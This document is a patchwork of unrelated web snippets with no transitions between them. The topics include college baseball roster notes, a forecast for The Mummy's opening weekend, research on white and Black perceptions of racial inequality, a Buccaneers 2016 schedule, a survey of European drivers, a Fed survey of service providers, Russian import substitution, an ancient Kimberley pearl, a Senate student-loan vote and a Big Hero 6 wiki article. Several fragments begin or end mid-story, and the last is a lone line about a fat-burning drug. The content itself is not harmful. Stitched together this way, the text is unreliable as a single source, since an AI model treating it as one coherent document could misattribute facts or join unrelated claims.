Kuhl is another senior on the Titans pitching staff and posted a 1.37 ERA in 18 appearances last season with 29 strikeouts and 11 walks. In his career, Kuhl has made 60 appearances and fanned 104 batters in 82 and 1/3 innings pitched.
Hockin and Chambers made their Fullerton debuts in 2014 and combined to make 24 appearances including a start apiece. Hockin had 12 strikeouts while Chambers finished the year with a 2.87 ERA in 15 and 2/3 innings pitched.
Gibbs pitched one scoreless frame in 2014 while Omana did not make an appearance after pitching in five games in 2013. Murray pitched in five games with the Titans in 2013.
Seabold and Gavin are a part of the Titans 2015 recruiting class, which was ranked No. 10 by Collegiate Baseball.
The Titans and Gauchos will meet on May 8-10, 2015 at Goodwin Field in the upcoming season. It will be the Gauchos' first trip to Fullerton since 2013 when the Titans took two of three games en route to a 51-10 overall record, the second best winning percentage in Fullerton history.
Last month, early tracking for Universal’s The Mummy suggested the summer event film would debut to $40 million or so when opening in North American theaters this weekend, a tepid start for the first title in the studio's planned stable of films built around its iconic monster characters.
The forecast for the reboot has only gotten scarier from there — at least domestically. One of the industry’s most respected polling services, NRG, downgraded its projection to $38 million last week and to $35 million on Monday. Such surveys can certainly be unreliable, but if NRG is correct, The Mummy will lose this weekend’s domestic box-office race to holdover Wonder Woman.
Universal insiders say The Mummy, starring Tom Cruise, will be fine thanks to the international box office, where the actor remains a huge draw. Case in point: The pic scored the biggest opening day of all time in South Korea on Tuesday with an estimated $6.6 million, besting the 2016 local blockbuster Train to Busan, which nabbed $6.5 million on its first day.
Directed by Alex Kurtzman, the modern-day take cost $125 million to make after tax rebates, and also stars Sofia Boutella, Russell Crowe, Annabelle Wallis, Jake Johnson and Courtney B. Vance.
"The Mummy arrives with the feel of another reboot — something audiences, especially in North America, have become all-too familiar with," says box-office analyst Jeff Bock. "It had better succeed overseas."
Bock and others predict that Wonder Woman could drop as little as 50 percent from its domestic debut this past weekend, meaning it could take in $50 million-plus for Warner Bros. and DC Entertainment.
The foreign box office is a different story, where The Mummy is expected to place No. 1 this weekend as it rolls out in most corners of the globe, including China.
It wouldn't be the first 2017 summer tentpole to see most of its treasure come from outside the U.S.: Disney's Pirates of the Caribbean: Dead Men Tell No Tales has crossed the $500 million mark globally in under two weeks, thanks to a foreign haul of $393 million through Sunday.
In recent years, Cruise has enjoyed far more success overseas, outside of the Mission: Impossible series. In June 2014, Edge of Tomorrow debuted to $28.8 million in North America before topping out at $100.2 million domestically. It did nearly triple that overseas, earning a total $270.3 million for a global cume of $370.5 million. Oblivion, released in spring 2013, grossed just under $200 million internationally, compared with $89.1 million in North America.
Reviews of The Mummy won't be published until mid-week.
Social psychologists Philip Mazzocco and Mahzarin Banaji once asked white volunteers how much money would cover the "costs" of being born black instead of white. The volunteers guessed that about $5,000 ought to cover the lifetime disadvantages of being an average black person rather than an average white person, in the United States. By contrast, when asked how much they wanted to go without television, the volunteers demanded a million dollars.
Mazzocco and Banaji were taken aback: The average black person in America is 447 percent more likely to be imprisoned than the average white person, and 521 percent more likely to be murdered. Blacks earn 60 cents to the dollar compared with whites who have the same education levels and marital status. The black poverty rate is nearly twice the white poverty rate. Blacks tend to die five years earlier than whites; the infant mortality rate among black babies is nearly 1 1/2 times the rate among white babies. And because of long-standing patterns of inheritance, blacks and whites begin life with substantial disparities in family wealth.
"The point we were making is, whatever the cost of being black might be, whites are vastly underestimating it," said Mazzocco, of Ohio State University at Mansfield. "You throw in the 5-to-1 wealth gap . . . if you wanted to put a dollar-and-cents value on the difference, you would come up with a number much larger than $5,000."
The unusual experiment is one of dozens that have found that whites tend to have a relatively rosy impression of what it means to be a black person in America. Whites are more than twice as likely as blacks to believe that the position of African Americans has improved a great deal. Blacks are more than twice as likely as whites to believe that conditions for African Americans are growing worse.
This long-standing war of perceptions created the perfect storm last week after sermons by the Rev. Jeremiah Wright -- former pastor of Sen. Barack Obama (D-Ill.) -- painted a picture of stark inequality at odds with white perceptions.
Mazzocco and Banaji, who teaches at Harvard, found that when volunteers learned about the disparities, they started to demand much larger sums of money.
"Many whites assume blacks are making use of old crimes to gain present-day benefits that are unearned," Mazzocco said. "Underlying this is a misunderstanding and ignorance about black costs and white privilege."
But knowledge about disparities is not the only reason whites and blacks have different perceptions about racial equality. Social psychologist Richard Eibach at Yale University has shown that whites and blacks often employ different yardsticks to measure racial equality. Whites tend to measure progress by comparing the present and the past -- and America has made giant strides since the Jim Crow era. Nonwhites, Eibach found, are likely to evaluate racial equality in comparison with an idealized future. These yardsticks create entirely different perceptions.
When Eibach asked each group to use the other's yardstick -- whites to focus on the future and nonwhites to think about the past -- the differences disappeared. Now, everyone agreed the country had come a long way -- and had a long way to go.
In a speech last week, Obama similarly argued that his former pastor had failed to acknowledge how America had changed for the better. But Wright's critics, Obama added, were also wrong -- because true equality is still remote.
The intriguing question prompted by Eibach's study is why whites and blacks are unconsciously drawn to different yardsticks. Eibach said one reason might be that racial equality means different things to whites and blacks: Whites see it as an ideal, blacks as a necessity. When people evaluate progress toward idealistic or optional goals -- saving for a vacation -- they tend to focus on progress made. But when people think of necessities -- paying the rent -- they focus on how much they are short.
In another set of experiments, social psychologist Amanda Brodish at the University of Michigan's Institute for Social Research showed that prejudice may play a role, too. Whites with high levels of prejudice -- who think blacks are not as smart as whites, who think blacks and whites are inherently unequal, and who reported being uncomfortable with a black roommate -- invariably evaluated racial equality only in comparison with the past.
By contrast, said Brodish's co-author, Patricia Devine of the University of Wisconsin at Madison, low-prejudice whites were equally willing to apply the yardsticks of both past and future.
While comparisons with a dreadful past and an ideal future produce glass-is-half-empty-vs.-half-full perceptions, the choices are not equivalent. Each perception is accurate, but Eibach said that progress toward true equality required whites to focus on where the country ought to be instead of becoming complacent about how far the country had come.
Correia is undefeated since joining the UFC in 2013 with three straight wins en route to earning her shot at Rousey at UFC 190.
Correia made the announcement about the new contract on Instagram.
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"Today I am very happy!" Correia wrote. "Through hard work, blood, sweat, punches in the face, and more, I am renewing my contract with UFC for over 8 fights. I can give my fans at least eight fights on the small screen, and follow my life and my camp for another eight fights!"
Correia earned her shot at Rousey with two consecutive victories over the bantamweight champion’s teammates Jessamyn Duke and Shayna Baszler.
Now the undefeated Brazilian will take a decided step up in competition as she faces the most dominant fighter on the planet with a chance to walk out as the new UFC champion if she’s successful.
The Bucs play the Philadelphia Eagles, Jacksonville Jaguars, Cleveland Browns and Washington in the preseason. It's the first time in fifteen years they're not facing the Miami Dolphins. They'll play the first two games on the road to give the stadium crew some extra time to install the new videoboards. The third game will be nationally televised on CBS.
Buccaneers preseason schedule
Week one: Thursday, August 11, 7:00 p.m. at the Philadelphia Eagles.
Week two: Saturaday, August 20, 7:30 p.m. at the Jacksonville Jaguars.
Week three: Friday, August 26, 8:00 p.m. vs. the Cleveland Browns.
Week four: Thursday, September 1, 7:30 p.m. vs. Washington.
Buccaneers 2016 regular season schedule
Week 1: Sunday, September 11, 1:00 p.m., at Atlanta Falcons (23-22)
Week 2: Sunday, September 18, 4:05 p.m., at Arizona Cardinals (9-9)
Week 3: Sunday, September 25, 4:05 p.m., vs. Los Angeles Rams (8-13)
Week 4: Sunday, October 2, 4:05 p.m., vs. Denver Broncos (2-6)
Week 5: Monday, October 10, 8:30 p.m. at Carolina Panthers (11-20)
Week 6: BYE
Week 7: Sunday, October 23, 4:05 p.m., at San Francisco 49ers (4-17)
Week 8: Sunday, October 30, 1:00 p.m., vs. Oakland Raiders (2-6)
Week 9: Thursday, November 3, 8:25 p.m., vs. Atlanta Falcons (23-22)
Week 10: Sunday, November 13, 1:00 p.m., vs. Chicago Bears (18-38)
Week 11: Sunday, November 20, 1:00 p.m., at Kansas City Chiefs (6-5)
Week 12: Sunday, November 27, 4:05 p.m., vs. Seattle Seahawks (4-8)
Week 13: Sunday, December 4, 4:25 p.m. , at San Diego Chargers (2-8)
Week 14: Sunday, December 11, 1:00 p.m., at New Orleans Saints (18-30)
Week 15: Sunday, December 18, 1:00 p.m., at Dallas Cowboys (4-11)
Week 16: Saturday, December 24, 1:00 p.m., vs. New Orleans Saints (18-30)
More than a third of those polled named German drivers the best in Europe
Germans are Europe’s best drivers and Italians are the worst – at least in the minds of their British counterparts.
With a busy summer travel season ahead, more than a third of Britons (37 per cent) believe German drivers are the best on the roads, according to a recent survey.
Of those polled, 32 per cent said German motorists’ ability to abide by the rules of the road makes them stand out.
More than a third of those polled said they consider German drivers to be the best in Europe
And while they admire their driving habits, almost half of 2,000 respondents (44 per cent) feel that Germans are Europe’s fastest drivers.
That may be due to the fact that Germans get plenty of time to drive fast on the country’s Autobahn motorways, where some stretches have no speed limits for cars.
While Germans can celebrate being named No 1, Britons have crowned Italians as Europe’s worst drivers, according to the Green Flag study of UK drivers’ habits and opinions.
More than a third (37 per cent) of respondents said Italians aren’t up to scratch behind the wheel.
Thirty-nine per cent said they feel Italian drivers are most likely to break the rules of the road.
Meanwhile, the survey named France as the best place to enjoy a driving holiday – with almost half of British tourists (46 per cent) saying it would be their first choice.
Neighbouring Belgium ranked at the bottom, with just five per cent of respondents wanting to go on a driving holiday there.
We wrote about the 48-year-old Washington-based father of three previously, showing you how he recreates his daughter's sexy selfies in a very dad joke-y manner to teach her a lesson. Well, not only does he continue posting the corny jokes, but he also managed to comically shame his daughter Cassie by reaching 60k Instagram followers - which is almost double the amount she has! And we must say, he's definitely worth it. See Chris' hilarious cheesy jokes and recreations for yourselves below and vote for your favorites.
The table below says it all:
Note the red change in current conditions between Q4 2010 and Q1 2011.
And in case the table is insufficient, here is summary.
The diffusion index for the availability of jobs, at 47, indicates that service providers had a slightly negative view of the availability of jobs in this survey. Although still unfavorable, the index is 7 points higher than it was in the previous survey. Additionally, respondents had more favorable expectations for the availability of jobs over the next three months; that index stands at 64, compared with a diffusion index of 60 when respondents were asked about future expectations in the previous survey. However, the index of their responses about the availability of jobs in this survey, at 47, did not meet the future expectations they indicated in the previous survey (60).
Respondents reported a decline in the availability of affordable housing in the current survey as they did in the last survey. The majority of respondents indicated that there was no change in the availability of affordable housing (60 percent), but many more reported a decline (32 percent) than an increase (8 percent), resulting in a diffusion index of 38, similar to the last survey’s result (39). Expectations three months from now are neutral (50) and close to the index for expectations from the previous survey (48), although the diffusion index of 38 in the current survey did not meet the future expectations (48) from the previous survey.
As in the previous survey, respondents have an unfavorable opinion of their clients’ financial well-being and access to credit. The diffusion index for financial well-being was 21 for this survey, similar to the last survey’s index of 23: Only 1 percent of survey takers saw their clients’ financial well-being increase, while 59 percent saw it decrease. Relative to the diffusion index from the current survey (21), the index of expectations about clients’ financial well-being three months from now is higher (41), but that value is still under the 50 mark, indicating that respondents are still somewhat pessimistic. Moreover, respondents had similar future expectations in the previous survey (42).
Attitudes about their clients’ access to credit continued to deteriorate, as the diffusion index fell from 28 in the previous survey to 22 in this survey. However, respondents were relatively optimistic about access to credit three months from now: 10 percent anticipate an increase, while most expect it to stay the same (58 percent), yielding an overall diffusion index of 39. This value, though, is lower than that for respondents’ future expectations in the previous survey (43).
And it gets worse:
As these economic factors affecting their clients continue to show weakness, service providers find themselves in a more difficult position. They reported that demand for their services increased strongly once again (87), similar to the last survey (84). Moreover, service providers expect demand for their services to increase again over the next three months. This is the only indicator for which the last survey’s future expectations (88) come close to matching what we see in the current survey (87).
As demand for their services continues to increase, service providers are facing an increasingly difficult environment for satisfying this demand.... There was a significant decrease in respondents’ future expectations relative to the last survey. In the previous survey, respondents expected a small increase in capacity in the future, as represented by a diffusion index of 55, but in the current survey, the index has fallen to 37, suggesting that respondents expect a decrease in their capacity to serve their clients three months from now. Funding problems continue to persist and may be a contributing factor to the operational difficulties experienced by the organizations. More organizations report facing funding problems than in the previous survey, as the diffusion index dropped from 38 to 31. Future expectations also declined from 38 to 28, indicating that organizations expect to continue to lose funding over the next three months.
So, if we may ask, if even the Fed finds that living, economic and credit conditions for everyone below the wealthy strata of society is being impaired by the Fed's ongoing economic tinkering, what justification is there for Quantitative Easing again?
It seems that Zurich may be poised to pick up where promoters in Lugano failed, with a capacity of up to 100,000 spectators thought to be achievable. Proponents recognise, however, that is is an ambitious undertaking to secure the necessary funding and permissions required in time to put on an event in 2017.
Lugano has withdrawn and now supports a bid by Zurich. Because there is no longer competition to host the first Swiss ePrix, this should help with the search for national sponsors, who would need to find around 10million Francs.
Worldwide, there are about 100 cities interested. Club spokesman Stephan Oehen is confident that Zurich is on the shortlist. He points to strong interest from financially secure sponsors and official support from the Zurich regional government.
However, commitment from the city itself is questionable. After all, it is another big event, of which Zurich has many. “The city council considers downtown Zurich to be fundamentally unsuitable for a car race,” says Nat Bachtold, spokesman for Mayor Corine Mauch. The reasons? Traffic congestion, adjusting infrastructure (what would be done with troublesome kerbs?), high numbers of spectators and safety concerns.
The door is not shut. “If an official request is received, it will of course be examined fairly,” says Bachtold.
Oehen expects more than 100,000 visitors. The track will have paid-for bleachers but a free public viewing area is also planned.
For example, in a black and white photo, digital noise can make it look more gritty and raw, giving it an extra visual punch that makes the image more interesting.
However, digital noise can also ruin a photo. Rather than the viewer honing in on the details of the subject, their eye can be easily distracted by all that grain.
Sometimes you just have to deal with it, though, as low-light situations sometimes call for a higher ISO, which only exacerbates the presence of noise.
In the past, many photographers relied on noise reduction in post-processing to minimize the grit and grain, but that often means you lose even more detail in the shot and get a final result that looks soft and waxy.
But there’s a new way to go about dealing with noise.
If you already have Photoshop, you’re in good shape because this technique requires that you process your images in that program.
If you don’t have Photoshop, check the links at the end of the article so you can get yourself setup.
Essentially, what you’ll do is use image averaging in Photoshop to blend the images together. By blending images together, you’re maximizing the light. That means if you took two images, each at ISO 1600, blending them together results in an image equivalent to ISO 800. Averaging four images taken at ISO 3200 results in a final image with an equivalent ISO of 800 as well.
And, as noted above, since higher ISOs are related to more noise, by using this technique, you’re lowering the ISO and reducing noise.
Nice trick, huh?
There are a couple of problems, though.
First, to make this technique work you need a series of images, like those shot in a burst. If you have just one image you want to fix, this method won’t work.
Second, when blending images together, any movement that occurs in the scene will appear as ghosting in the final image - blurred movement as the object changes position from one frame to the next.
Fortunately, there’s a way to fix that ghosting in Photoshop as well by using layer masks.
If it sounds complicated, it’s not!
In the video below, Tony Northrup walks us through the process of reducing noise and fixing ghosting problems in Photoshop. Follow along as he explains each step in-depth so you can reap the benefits of having sharper photos, even when you’re forced to shoot at high ISO.
news Russians Are Adjusting to Food Import Ban and Domestic Cheese Read more
Russia produces few high value goods that can compete with imports. Thanks to oil inflating the value of the ruble it has always been cheaper and easier to import finished goods than go through the process of investing money into expensive production and development lines that produce goods that are, at the end of the day, inferior to the imports. The goal of the Kremlin’s sanctions is to break that equation, but it has only been really successful in the agricultural sector – most famously with cheese production. The agricultural sanctions imposed by the Kremlin on Europe have had the most notable effect on consumption patterns. The share of imports in private food consumption declined noticeably from 36 percent in 2014 to 21 percent in the second quarter of 2017, the IIF study found, while non-food imports, which are largely unsanctioned, have been much more stable.
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But even the import embargo on European food products imposed in 2014 has had a very limited effect. The IIF split the overall food consumption basket into embargoed and non-embargoed foodstuffs and found that the sanctioned food group share declined sharply by 10pp in late 2014 and early 2015 when the embargo was implemented, but remained largely stable after that at 20 percent, not very different from the share of imports in overall food consumption. The new Russian cheese factories were running by 2016, but the industry has not moved very far beyond that.
As for the import of non-food products, very little has changed from before the sanctions were imposed: the share of imported non-food goods remains above 40 percent of the total. “Trade statistics suggest that import substitution has largely failed to boost the share of domestic producers in more technologically advanced investments,” the IIF found. Equipment and machinery imports have picked up since the end of 2016 as the economic recovery got underway.
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Russian manufacturers may be starting to go up the value-added chain thanks to labour costs that are now less than those in China. Russia’s carmakers, many of them foreign companies that are producing to international standards, are starting the process of exporting “made in Russia” cars to the other Commonwealth of Independent States (CIS) countries, but the numbers are still in the tens of thousands, not the millions. A new government commission on import substitution was established in 2015 to try and accelerate this process and has subsidised more than 2,000 import-substituting projects in industries such as engineering, electronics and pharmaceutical at costs estimated at more than $40 billion between 2016 and 2020, but to little effect, concludes the IIF. Imports crash and bounce The main effect of the global 2008 crisis and the subsequent sanctions war with the west over Ukraine has been to massively depress imports, thus allowing Russia to maintain a positive balance of payments. The current account surplus peaked at over $100 billion in 2008 and averaged 7 percent of GDP since 2000 until the oil price crash in 2015. Lower oil prices shrank the current account surplus to $25 billion in 2016, only 2 percent of GDP, despite a massive depreciation of the ruble by 50 percent and the resulting 30 percent reduction in imports. With oil prices averaging about $52 per barrel this year, oil-related exports should increase from $150 billion last year to $185 billion or so this year, “That should mean Russia’s current account would come in at $50 to 60 billion, but analysts are widely expecting it to be much lower,” says the IIF, which is predicting $40 billion (2.6 percent of GDP) this year. Indeed, as the economy starts to recover and the first green shoots of consumption recovery are showing, imports are rising again; Russia ran its first negative current account balance in the second quarter in years, albeit of only $300 million. The main reason for the underperforming current account is rapid import growth. Despite an ongoing weak recovery, imports of goods increased 27 percent from a year earlier in dollar terms during January to June 2017, reports the IIF. At the same time, enthusiastic Russian tourists have increased their foreign spending by 26 percent so far this year from a year earlier. This was despite a ban on Turkish holidays as part of yet another trade spat that is now coming to an end. The ban had a favorable impact on Russia’s current account as Russian tourists usually spend some $4 billion a year in Turkey alone on their vacations.
Updated
A pearl excavated from the remote Kimberley region of Western Australia is believed to be 2,000 years old.
The pearl was found in 2011, at a rock shelter in the Admiralty Gulf, 80 kilometres east of Kalumburu, by researchers from the University of Wollongong and the University of New England.
Associate Professor Kat Szabo said the pearl is "irreplaceable" because it is the only one ever recovered from an ancient site in Australia.
"A pearl has never been found in an archaeological site in Australia, and to have one that's 2,000 years old was really exciting for traditional owners, for locals and for everyone who was around," Dr Szabo said.
Dr Szabo said it had taken four years to analyse and date the pearl, because the team had to use non-invasive technology which would not damage it.
"That was a really big challenge actually to get the dates right."
She said the shell around the pearl, which was buried about 70 centimetres below the surface, was radiocarbon dated to about 2,000 years old.
Because the pearl is so round, the researchers had to prove it was not a man-made pearl which had simply fallen into that layer.
"Our challenge was to then establish it wasn't a cultured pearl, it was a genuinely old pearl that was 2,000 years old ... but we can't radiocarbon date because that requires taking a sample," he said.
A handful of cultured pearls were borrowed from Cygnet Bay Pearl Farm, north of Broome, for comparison.
"It didn't have the seed that cultured pearls have, and we could tell from the many, many layers which had been added on to create the pearl that it was over 10 years old," she said.
"So it had been growing in the animal for over 10 years.
"They're all the classic signatures of a natural pearl."
She said the pearl was in surprisingly good condition.
"It has a bit of a gold-rose lustre now but it's very hard to say, given it's been in the dirt for 2,000 years, how much of that is an original colouring or how of that has been sort of picked up from sediments around.
"But it's in very good condition given its age."
The pearl will go on display at the WA Maritime Museum later this month as part of the Lustre Exhibition.
Topics: history, aboriginal, indigenous-aboriginal-and-torres-strait-islander, archaeology, broome-6725
Afghanistan: Taliban tactics Reports said at least two of the attackers carried their bombs underneath burkas, the all-enveloping dress often worn by Afghan women. A local trader said there was panic and confusion. "I was at my shop and I suddenly heard a loud explosion and then gunshots. I saw fire being exchanged between the police and attackers," the trader told the BBC. In a statement, the defence ministry said four militants were killed in a shootout and two blew themselves up. Officials confirmed to the BBC that five Afghan security personnel had been killed. An Afghan doctor at the hospital in Gardez told the BBC he had received four bodies, all of military personnel. Meanwhile in Jalalabad at least two militants tried to attack an airport which is a base for Afghan and foreign troops. Nato-led forces said one blew himself up and another was captured. An Afghan official said one policeman was killed, but that was not confirmed. Troops 'must stay' Earlier, a British soldier was killed in an explosion in Helmand province in the south of the country. He was the 18th British soldier to be killed in Afghanistan this month. The deaths of four US soldiers were announced on Monday. Also on Monday, Nato head Jaap de Hoop Scheffer warned that walking away from the war would have a "devastating" effect, allowing extremism to overwhelm Afghanistan and spread further into Pakistan and Central Asia. The fight in Afghanistan, he said, was essential to the security of Nato members. "Those who argue otherwise - who say we can defend against terrorism from home - are simply burying their heads in the sand," he said.
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The 56-38 vote on the refinancing proposal, sponsored by Sen. Elizabeth Warren (D-Mass.), failed to garner the 60 votes needed to overcome a Republican filibuster. Warren’s proposal, which mostly targeted student loans owned or guaranteed by the Department of Education, sought to fund the reduction in borrowers’ student loan payments by increasing taxes on wealthy households.
“With this vote we show the American people who we work for in the United States Senate: Billionaires or students,” Warren said minutes before the vote.
Other than Senate Majority Leader Harry Reid (D-Nev.), who voted against the measure on procedural grounds in order to preserve Democrats’ ability to reconsider it at a later date, only Republicans voted against it. They said the measure wouldn’t help reduce the skyrocketing cost of college and argued that it was not the best way to help former students manage their debt.
The proposal failed despite nearly widespread agreement among federal policymakers, financial regulators and financiers that Americans’ student debt burdens risk choking U.S. economic growth as student loan payments take ever bigger chunks of workers’ paychecks.
Unpaid student debt has doubled since 2007 to nearly $1.3 trillion, according to the Federal Reserve. Some 40 million Americans have student loan debt, according to the Education Department. The average borrower owes nearly $30,000.
Warren said Wednesday that outstanding student debt presents an “economic emergency that threatens the financial futures of Americans and the stability of our economy.”
Officials at the Federal Reserve, Treasury Department and executives at some of the nation’s biggest banks are among the financial experts who have publicly warned about the growing negative consequences of not taming Americans’ student debt bills, pointing to reduced home and automobile purchases, lower retirement savings, fewer new small businesses, and decreased future revenues for the U.S. banking system as households curtail their borrowing in favor of paying back the Education Department.
Financial firms including BlackRock, the world’s largest money manager, and regulators such as the Consumer Financial Protection Bureau have suggested that the U.S. government needs to strengthen its efforts to help borrowers repay their student debts.
Sen. Lamar Alexander (R-Tenn.), the top Republican on the Senate education committee, said Wednesday it was more important to help current and future students rather than former students struggling with their debt.
Only three Republican senators -- Susan Collins of Maine, Bob Corker of Tennessee and Lisa Murkowski of Alaska -- voted in favor of Warren’s proposal.
Park Bo Young
Seo Hyun Jin
Yoo Seung Ho
Ji Sung
Big Hero 6 is a fictional superhero team appearing in American comic books published by Marvel Comics and created by Man of Action.
In 2014, Walt Disney Animation Studios produced the computer-animated film Big Hero 6, loosely inspired by the characters. In 2017, a television series based on the film, titled Big Hero 6: The Series, premiered.
Publication history [ edit ]
Created by Steven T. Seagle and Duncan Rouleau, Big Hero 6 was first intended to appear in Alpha Flight #17 (December 1998). Instead, the team appeared in their own self-titled, three-issue miniseries by writer Scott Lobdell and artist Gus Vasquez. However, due to scheduling complications, the miniseries was published prior to Alpha Flight #17.[1][2]
The team also appears in a subsequent five-issue miniseries, which was launched by Marvel Comics in September 2008.
The characters were licensed to IDW Publishing for Big Hero 6: The Series in 2019.[3]
Fictional team biography [ edit ]
In the original comics, the Japanese government needed a team of state-sanctioned superheroes, so they consulted the "Giri," a top-secret consortium of politicians and business entities. The Giri was formed to recruit and train potential individuals for "Big Hero 6," a team of superhuman operatives. Despite reservations by some members of the Giri, Silver Samurai, a freelance ronin and former bodyguard of the terrorist Viper, was appointed as the team's field commander. Secret agent Honey Lemon, inventor of the nanotechnology-based Power Purse from which she can access any object, also agreed to join the team. The tough-talking GoGo Tomago, able to transubstantiate her body into a fiery force blast by uttering her code name, was released from prison on the condition that she serve on the team. Finally, the Machiavellian bureaucrat known only as Mr. Oshima is appointed as the Giri's spokesperson and coordinates the team's activities.[4]
Government scientists then identified 13-year-old boy genius Hiro Takachiho as a potential operative. Unimpressed with the Silver Samurai, Hiro declines joining the team until his mother is kidnapped by the Everwraith, the astral embodiment of all those killed in the 1945 nuclear attacks on Hiroshima and Nagasaki. Hiro creates Baymax, a synthetic bodyguard capable of transforming into a dragon, using the brain engrams of his dead father. With Baymax, Hiro reluctantly joins forces with the Big Hero 6 to prevent the Everwraith from slaughtering millions in downtown Tokyo. During the battle, Big Hero 6 is joined by Sunfire, Japan's premier superhero, who is a mutant with the ability to heat matter into plasma. Sunfire becomes instrumental in the Everwraith's defeat.[5]
Soon afterwards, Big Hero 6 moves their headquarters from the Giri office building to Japan's Cool World Amusement Park. Here they are attacked by X the Unknowable, a monster born from a child's drawings who is capable of transforming its atomic structure into any form and shape. With the help of the Canadian superhero team, Alpha Flight, Big Hero 6 destroys X the Unknowable in the fires of Mount Fuji. Afterwards, Big Hero 6 continues to protect Japan from various threats such as a freak blizzard caused by the Crimson Cowl and her Masters of Evil.
Eventually, Sunfire leaves Big Hero 6 so that he can work at Charles Xavier's X-Corporation office in Mumbai, India. His spot on the team is filled by Sunpyre, a young woman with similar solar-based powers who is pulled into this reality through the Power Purse and therefore comes to idolize Honey Lemon. Similarly, after Silver Samurai is seemingly slain in an altercation with the assassin Elektra in Iraq, his spot on the team is filled by the enigmatic Ebon Samurai. With the two most experienced members of Big Hero 6 gone, Hiro becomes the team's new leader.[volume & issue needed]
Sometime during the team's operation, they are attacked by minions of Yandroth. As part of a plan to gain power via superhero battles, Yandroth sends a team of "Living Erasers" into their building. The Living Erasers are capable of transporting beings out of reality. The entire battle takes place off panel and is only mentioned in conjunction with attacks upon other superhero teams.[volume & issue needed]
Later, the members of Big Hero 6 fall victim to a mind-control device implanted within Baymax. Traveling to Canada, the mind-controlled superheroes attack a new incarnation of Alpha Flight at a national park. After a brief battle, the mind-control device is short-circuited and the two teams part as friends. Big Hero 6 returns to Japan to seek out the parties responsible for their mind control.[volume & issue needed]
During the "Ends of the Earth" storyline, Spider-Man calls upon Big Hero 6 to help him defeat Doctor Octopus. The team, now operating from the Giri Institute, confront Doctor Octopus' Octobots, which Dr. Octopus had sent to Japan. They subsequently confront their previous enemy, the Everwraith, and are victorious.[6]
Team roster [ edit ]
Silver Samurai [ edit ]
Silver Samurai (Kenuichio Harada), the illegitimate son of Shingen Yashida, is a Japanese mutant with the power to charge almost anything, most notably his katana, with mutant energy (described as a tachyon field). This enables it to slice through any known substance except adamantium. He wears a suit of traditional samurai armor made of a silver metal, hence the name "Silver Samurai."
He was once the bodyguard for the international terrorist known as the Viper, and later an occasional mercenary, but he became the head of Clan Yashida after his half-sister Mariko Yashida's death. He attempted to pay off his clan's debts to the Yakuza and restore its honor. Although he was once one of Wolverine's greatest enemies, he impressed Wolverine so greatly that Wolverine entrusted him with the care of his adopted daughter, Amiko Kobayashi. The Samurai also helped Wolverine destroy the monster known as "Doombringer," and he later helped Logan rescue Amiko and Yukio from their kidnappers. During his time as a hero, the Silver Samurai became the leader of the Big Hero 6.[volume & issue needed]
Silver Samurai later became the bodyguard of the Japanese prime minister, but was killed while defending his family from a ninja attack.[7]
Sunfire [ edit ]
Sunfire (Shiro Yoshida) was a one-time member of the X-Men and a former nationalist who changed his views after the death of his father. Possessing the ability to fly and generate super-heated blasts of plasma, Shiro became one of Japan's most prominent heroes. He soon left Big Hero 6 to become a member of the X-Corporation, but was disgraced after his past ties to Mystique and the Brotherhood of Evil Mutants were revealed.[8] Sunfire has since appeared as a member of the Marauders[9] and of the Uncanny Avengers.[10]
GoGo Tomago [ edit ]
GoGo Tomago (Leiko Tanaka) is known as the hothead of Big Hero 6. GoGo transforms her body into an explosive ball of energy, which can be projected at vast speeds.[volume & issue needed]
Honey Lemon [ edit ]
Little is known of Honey Lemon's past or how she obtained the purse that gives her "superpowers."
Hiro Takachiho [ edit ]
Hiro Takachiho is the brilliant thirteen-year-old boy who created Baymax; after the departure of Silver Samurai and Sunfire, he becomes the leader of Big Hero 6.
Baymax [ edit ]
Baymax began his existence as a science project created by Hiro. He was originally designed to be a hydro-powered robotic synthformer, programmed to serve as Hiro's personal bodyguard, butler, and chauffeur. However, prior to the project's completion, Hiro's father died and the young inventor programmed Baymax's artificial intelligence using the brain engrams of his recently departed father. With the thoughts and emotions of Hiro's father, Baymax became much more than a robotic bodyguard. He also functions as Hiro's best friend and father figure and is by his side nearly every hour of every day. Baymax also feels a deep attachment to Hiro's mother; however, Hiro and Baymax decided it was not in their best interest to inform her that her departed husband's memories were used as the basis for Baymax's artificial intelligence.[11]
Ebon Samurai [ edit ]
In his prior life, the Ebon Samurai (Kiochi Keishicho) was a Tokyo police officer who was slain by Silver Samurai during an attack by HYDRA. After making a deal with Amatsu-Mikaboshi, Kiochi was allowed to return to Earth and exact vengeance upon the Silver Samurai. Wielding a demonic katana and permanently bonded to a black variant of his foe's armor, Kiochi was reborn as the Ebon Samurai.[12] Upon learning that Silver Samurai had become the bodyguard of the Japanese prime minister, Kiochi abandoned his quest for revenge, realizing that murdering Harada would constitute a betrayal of his country. He becomes a part of the team but subsequently leaves them to accompany Sunpyre when she returns to the Microverse.[13]
Sunpyre [ edit ]
An alternate reality version of Sunfire's deceased sister Leyu, Lumina is the crown princess of Coronar, a planet hidden deep within the Microverse. As a result of being pulled out of the Microverse through Honey Lemon's purse, Sunpyre worships her as a goddess and joins the Big Hero 6 team out of gratitude. She and the Ebon Samurai later leave the team to return to the Microverse to oust the villains who had taken over Coronar during her absence.[14]
A trained chef who uses various swords to fight. He can also give form to his Qi-Energy, usually materializing it as throwing knives that can paralyze opponents.[15]
Fred [ edit ]
Nicknamed Fredzilla, he can transform into a Godzilla-like Kaiju and manifest a dinosaur-like aura.[16]
In other media [ edit ]
Film adaptation [ edit ]
The Big Hero 6 comics inspired and adapted into the 2014 Disney computer-animated film of the same name.[17] Produced by Walt Disney Animation Studios rather than Marvel Studios,[18] it retains some of the core themes and character concepts from the comics, but makes substantial changes and builds a new story around them.[19] For example, the film's version of Baymax is a friendly robot originally designed to provide medical care, while in the comics he is a bodyguard.[20] The film was released in the United States in November 2014,[21][22] receiving critical acclaim.[23][24] It won the Academy Award for Best Animated Feature and was nominated for the Annie Award for Best Animated Feature and the Golden Globe Award for Best Animated Feature Film.[25][26][27]
Television [ edit ]
In March 2016, Disney announced that a Big Hero 6 television series is in development and will premiere on Disney XD in 2017. The series takes place immediately after the events of the film,[28] and is created by Mark McCorkle and Bob Schooley, creators of Kim Possible and executive produced by McCorkle, Schooley and Nick Filippi.[29]
Video games [ edit ]
The Disney version of Big Hero 6 made their debut appearance in the Kingdom Hearts series in Kingdom Hearts III, essentially making them the first characters from Marvel Comics to appear in the series.
Known as GC-1, the drug sheds weight by turning it from 'bad' white fat into 'good' brown-like fat, which burns up energy.
